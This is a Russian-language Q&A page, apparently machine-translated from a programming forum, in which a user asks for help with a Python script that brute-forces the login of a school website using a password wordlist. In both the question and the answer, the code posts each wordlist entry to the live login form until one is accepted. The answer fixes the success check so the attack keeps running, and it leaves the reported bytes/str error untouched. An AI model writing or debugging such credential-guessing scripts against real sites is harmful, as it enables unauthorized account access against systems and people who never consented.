«Требуется объект, похожий на байты, а не str» Ошибка в Python - PullRequest
0 голосов
/ 12 июля 2020

Чтобы чем-то заняться во время пандемии c, я попытался создать взломщик паролей, чтобы попытаться угадать мой собственный пароль на школьный веб-сайт (скучно, я знаю, но я подумал, что это круто).

Однако, когда я запускаю свою программу, я получаю «требуется объект, подобный байтам, а не 'str'», вызванный «if 'Invalid password' not in response.content:».

Я осмотрелся но не могу найти ничего, что могло бы мне помочь. Если кто может помочь, буду очень признателен


target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Invalid password" not in response.content:
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")```

1 Ответ

0 голосов
/ 12 июля 2020

Я не думаю, что проверка содержимого - лучший способ. Попробуйте проверить код состояния ответа, если пароль правильный, код состояния будет 200, иначе 401 или 403. например,

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if response.status_code == 200: # This is the changed line
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")
...